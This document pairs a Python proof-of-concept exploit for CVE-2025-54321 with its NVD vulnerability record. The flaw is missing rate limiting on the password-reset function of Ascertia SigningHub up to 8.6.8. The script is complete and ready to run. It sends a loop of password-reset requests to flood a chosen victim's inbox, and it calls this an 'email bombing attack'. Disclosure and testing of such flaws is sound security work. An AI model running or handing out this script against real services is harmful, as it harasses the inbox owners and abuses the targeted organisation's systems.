CVE-2025-54321

#!/usr/bin/env python3 """ CVE-2025-54321 PoC - Ascertia SigningHub Email Bombing via Password Reset This PoC demonstrates the lack of rate limiting on the password reset function. Note: This is for educational and authorized testing purposes only. """ import requests import time import sys # Target configuration TARGET_URL = "https://target-ascertia-signinghub.com" RESET_ENDPOINT = f"{TARGET_URL}/api/password/reset" # Target email for email bombing attack TARGET_EMAIL = "[email protected]" # Number of requests to send (for demonstration purposes) NUM_REQUESTS = 100 DELAY_BETWEEN_REQUESTS = 0.1 # seconds def send_password_reset_request(email): """Send a password reset request to the target system.""" try: payload = { "email": email, "_token": "" # May need valid CSRF token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json", "Accept": "application/json" } response = requests.post(RESET_ENDPOINT, json=payload, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_email_bombing(): """ Exploit function to demonstrate the email bombing vulnerability. This sends multiple password reset requests to flood the target's inbox. """ print(f"[*] Starting email bombing attack on {TARGET_EMAIL}") print(f"[*] Target endpoint: {RESET_ENDPOINT}") print(f"[*] Number of requests: {NUM_REQUESTS}") print("-" * 50) success_count = 0 for i in range(NUM_REQUESTS): status_code, response = send_password_reset_request(TARGET_EMAIL) if status_code and 200 <= status_code < 300: success_count += 1 print(f"[+] Request {i+1}/{NUM_REQUESTS}: Status {status_code} - Reset email sent") else: print(f"[-] Request {i+1}/{NUM_REQUESTS}: Failed - Status {status_code}") if i < NUM_REQUESTS - 1: time.sleep(DELAY_BETWEEN_REQUESTS) print("-" * 50) print(f"[*] Attack completed: {success_count}/{NUM_REQUESTS} successful requests") print(f"[*] Target email should have received {success_count} password reset emails") if __name__ == "__main__": print("CVE-2025-54321 - Ascertia SigningHub Email Bombing PoC") print("=" * 50) exploit_email_bombing()

{"cve": {"id": "CVE-2025-54321", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.043", "lastModified": "2025-11-20T19:00:58.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Ascertia SigningHub through 8.6.8, there is a lack of rate limiting on the reset password function, leading to an email bombing vulnerability. An authenticated attacker can exploit this by automating reset password requests."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-799"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "https://github.com/saykino/CVE-2025-54321", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.ascertia.com/company/vulnerability-disclosure-policy/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}